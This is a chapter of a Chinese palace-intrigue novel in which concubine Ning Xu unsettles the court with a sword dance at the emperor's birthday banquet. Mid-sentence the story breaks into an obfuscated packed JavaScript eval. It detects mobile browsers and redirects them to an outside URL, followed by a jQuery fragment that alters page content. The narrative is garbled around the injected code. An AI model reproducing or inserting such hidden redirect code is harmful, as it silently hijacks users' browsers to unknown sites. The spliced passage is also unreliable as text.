石虔一摇头,宁絮就知道他要放什么屁。
她就不该对他抱有一丝一毫的期待,他骨子里跟那些朝臣并无两样。他们发出什么声音,就代表这些声音是经由他允许才发出的。
今晚她到底还是感情用事了,有点冲动,须得克制。
仔细想来,升了位份,也没什么不好。石虔尚未立后,后宫由邓贵妃协理,但邓贵妃自己的脑子就不太灵光,惹出什么事了,还得他帮着平乱子。
把她提上来,她就有了管事的权限,有些消息也能提前得知。这样方便她布局,做好逃走的准备。
“还是陛下思虑周全,臣妾把事情想得简单了。”宁絮拔掉话中的刺刺,变回驯顺可人的模样,“这么着,臣妾还是在才艺上取胜,您看如何?”
她突然想通了,肯听话了,石虔自然是高兴的:“你的才艺,朕不担心。若能表现得别出心裁,力压其他妃子一头,则是最好的。朕听凭你发挥。”
说是这样说,约莫半年时间,也没碰上石虔预想的,适合展示才艺的场合。
邓贵妃刚生下公主,要修生养息,不好让她立刻去主理什么仪式。石虔自己又被边关小国缠得头大,乌弥军队神出鬼没,不咬人但膈应人。
各项事宜林林总总堆积到冬天,万寿节将至,宫里才有了喜庆的气息。
皇上的生辰谓之万寿节,举国欢庆,大宴群臣,这是先帝留下的规矩。石虔上位后,这一习俗得以继续保留。
在节前三月,宫里宫外便开始紧锣密鼓地做准备。不论是臣子还是后妃,都绞尽脑汁思考,什么样的礼物能送到陛下的心坎上。
此外,就看谁能在寿宴上哄得陛下龙颜大悦,让陛下有面子。
善琴的嫔妃,早已开始研究音律,练习名曲。善舞的,则是一边排演舞步,一边节食,舞姿和身段都要一等一的曼妙。
互相串门的次数,也因此多了起来。人人都想打探其他人预备表演什么。
位份低的妃子们,花蝴蝶一般围绕在邓贵妃身边。一来邓贵妃是六宫之首,每次小聚皆靠她组织。二来她与内侍监关系密切,而内侍监又掌管着抽签大权。
一场寿宴三个时辰,看似漫长,除却进餐和文臣吟诗作赋的时间,就所剩无多了。要想让每一位后妃都展现才艺,显然不现实。
内侍监会备好木牌,由陛下随机抽取三人,抽中了谁,便轮到谁出风头。
对外,内侍监自然铁面无私。谁要是意图拿好处来笼络他们,非但不会受到优待,反而很可能被上报给陛下,以妨碍公平为由,予以惩戒。
但实际情况大家看在眼里,心知肚明。连续三年万寿节,每一年都抽中了邓贵妃,在她还不是贵妃的时候便是如此。
邓贵妃听着她们阿谀奉承,讨巧卖乖,心中烦躁不已。
宫中妃子是什么表现,她已经摸得一清二楚,唯独对宁絮一无所知。
虽然以往宁絮从未被抽中过,可近一年来,石虔待她明显不同往日。今年万寿节会是什么光景,尚未可知。
她去找内侍监旁敲侧击,得到的答复模棱两可,只道他们都是打乱顺序的,若她想要一个确定的结果,他们爱莫能助。
邓贵妃也想过亲自找宁絮一探究竟,但石虔已经给她下了禁令,不得擅自前往翠微阁。欲邀宁絮来长乐宫,宁絮又总是声称身体有恙,无力出门。
哪怕她喊其他妃子上门拜访,一样是吃闭门羹。
还不敢逼得太紧,怕宁絮去跟石虔吹耳边风,到头来石虔又要怪她。
如此,宁絮成了唯一一个保密的,简直密不透风,无人摸得清她的动向。
万寿节开宴,邓贵妃才见到她本人。
她罩着宽大的素色外袍,只涂了淡红的唇脂,在一众精心装扮,预备争奇斗艳的嫔妃之中,按说并不惹眼。然而她身量较寻常女子更为高挑,骨格周正,又是天生的浓眉大眼,坐卧行止皆引人注目,眼中有了她就再难有别人。
人最怕比较,平时单独看,都是出挑的美人,一旦跟宁絮并排走着或坐着,登时就被衬得逊色。
不过以她目前的位份,轮不到跟邓贵妃坐一块儿。身边都是御女,年纪普遍小,这会儿紧张都来不及,没那个闲工夫端详她。
石虔听了一整晚花里胡哨的祝寿词,有时他挺佩服这些文臣,肚子里墨水怎么就这么多,每个人的词都不带重样的。
文采再好,听到后面他也难免眼皮打架。流程终于走到抽签,他才来了精神,略一转头,望向宁絮。
宁絮坐在他的斜后方,跟他隔了若干个人头,没有感知到他的目光,自顾自盯着脚下发愣。
看了半天也没得到她的回应,石虔心里暗骂一句小没良心的,但又不得不承认,区区寿宴,的确不至于让她起什么波澜。
她是跟他一起闯出来的女人,上刀山下火海,鬼门关不知道走了几遭了,实在不需要眼神鼓励。
石虔收回视线,开始翻牌。
第一个抽中的正是邓贵妃。她生就一副好歌喉,又自小练习七弦琴,弹唱于她而言不在话下,轻易便博得满堂喝彩。
邓丞相亦身处文臣之列,瞧着女儿行云流水般抚琴,眼中满是骄傲和欣慰。
第二位抽中的是丽嫔,乃京师布政使之女,最擅舞艺。不过落在石虔眼中,没品出太多的精妙之处。
他早年玩杂耍的,做过不少高难动作。丽嫔这一套舞蹈,就是仗着衣袂飘飘,看似优雅,身段也软,但欠缺独到之处,换个人练一阵子,照样能有这个水平。
罢了,不能对养尊处优未经世事的千金小姐要求太高,能搭个花架子,面子上好看就够了。
他拨弄着木牌,从中又抽了一根。
内侍长随即宣读木牌上的名字。
邓贵妃一怔,该来的还是来了。这第三签,果然是宁絮。
她怀着侥幸的心情,安慰自己。嫔妃能拿出手的才艺,无非是琴棋书画,唱歌跳舞,此时下棋、写字和作画都不合适,另外几样
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15326040|167622||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
又金玉在前。
看她还能玩出什么新花样。
宁絮站起身,从容不迫地走到距离石虔三步远的地方,依照规矩行了礼祝了寿,而后从外袍底下抽出一狭长之物。
在灯笼和烛火的照耀下,离得近的人看见,那是一柄短剑。
前排文臣无不色变,侍卫也纷纷围拢上来,高喊:“保护陛下!”
宁絮将剑高高举起,不紧不慢道:“看清楚了,这剑并未开刃。臣女出身低微,弹唱歌舞拿不出手,只会舞刀弄枪,都是些不入流的功夫,献丑了。”
石虔笑呵呵地摆手,示意他们退下:“朕从未见过哪位嫔妃舞剑的,今日倒要开一开眼。你们离得远些,别阻碍了人家发挥。”
说话间,边上有几位抱着琵琶的女子已然拨动琴弦。
既是舞剑,她们所奏之曲并非柔婉小调,也不是气势磅礴的战歌,不似中原地区的曲风,带着大漠的苍凉和沉静。
宁絮的剑划破绛蓝的夜空,一招一式皆带有肃杀之意。与丽嫔不同,她虽也有后仰弯腰的动作,但与柔媚二字毫不相干,更像是一位战士躲避暗箭,与此同时挑动剑锋,将敌方的箭雨扫得七零八落。
这柄短剑的剑身泛着冷光,灼得诸位文臣武将眼睛发痛。宁絮还屡屡用剑尖扫过他们,甚至还分得出心神瞥他们的脸。
剑尖距他们少说有十来步远,除非宁絮突然脱手,朝着他们甩过来,否则实在不必担忧,他们性命无虞。
但多数人还是不自在地理了理领口,下意识地护着脖颈。
他们中有不少人曾与宁絮打过交道,见识过她滴水不漏的行事风格。看着文文弱弱一个姑娘,乍见令人生不起警惕心,不知不觉就让她套了话,等回过神想反击,发现早就被她逼上绝路,要么倒戈,要么死。
她所做的每一件事,表面看着都平平无奇,细想之下却不免让人寒意丛生。
哪怕后来他们都归属石虔,是自己人了,对宁絮和她背后那一队女子,也依然提不起好感。任由她们集结在一起,恐怕是个隐患。
也幸而她们都是女子,想打散来拆开来,比较容易。
宁絮自幼便略通剑术,后来进了明月楼,亦习得了舞蹈,两相结合,别有一番风味。然而他们无心欣赏,她的剑法愈是凌厉炫目,他们就愈是如芒在背。
她挥出去的每一剑都杀气腾腾,至于这份杀气来自何处又去往何处,他们本能地排斥去想,只希望这场荒唐闹剧快些结束。
哪有妃子在陛下的寿宴上舞剑的,分明是挑衅,其心可诛。
琵琶声停,利剑入鞘,宁絮面向石虔,像前两位嫔妃一样行礼致意。
偌大的太和殿鸦雀无声,人人都怀着心事,生怕任何一个动作就暴露心中所想。
直到石虔重重地拍了几下巴掌:“好!宁良媛真可谓深藏不露,今日剑舞实在别具一格,艳惊四座,当赏!”
说罢,他环视四周,慢悠悠道:“诸位爱卿,你们觉得呢?”